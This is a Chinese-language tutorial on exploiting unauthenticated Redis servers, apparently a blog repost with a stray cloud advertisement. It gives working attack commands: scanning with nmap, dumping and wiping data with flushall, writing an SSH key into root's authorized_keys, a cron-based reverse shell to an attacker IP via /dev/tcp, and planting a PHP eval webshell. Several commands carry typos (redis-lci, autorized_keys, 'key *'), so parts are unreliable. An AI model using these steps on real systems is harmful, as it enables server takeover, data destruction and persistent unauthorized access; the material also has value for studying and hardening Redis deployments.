Redis未授权访问
应用介绍:
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。漏洞简介:
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
可导致服务器权限被获取和数据删除。
案例:minerd挖矿程序
攻击复现:
获取主机端口开放信息
Redis默认使用6379端口,使用nmap对服务器进行扫描
nmap -A -p 6379 --script redis-info 目标IP
Redis未授权访问获取敏感信息
Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。
./redis-cli -h 目标IP
info
可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径
可以查看里面的key和其对应的值
key *
get key
Redis删除数据
flushall 删除所有数据
del key 删除键为key的数据
写入ssh公钥,获取操作系统权限
原理
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
首先在自己的电脑上生成key:
ssh-keygen -t rsa
将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 目标IP -x set xxx
连接目标主机的Redis:
./redis-lci -h 目标IP
设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh
config set dbfilename autorized_keys
将数据保存在服务器硬盘上(缓存里的数据key.txt)
save
这时候用ssh远程连接:
ssh 目标IP
不用密码就可以直接远程登录
反弹shell
原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。
首先在客户端这边监听一个端口
nc -l 8886
连接redis,写入反弹shell
./redis-cli -h 目标IP
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击IP/8886 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
在web目录下写入webshell
通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。
远程连接redis,写入webshell
./redis-cli -h 目标IP
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['wintry']);?>\n\n\n"
config set dbfilename webshell.php
save
来源:Redis未授权访问详解
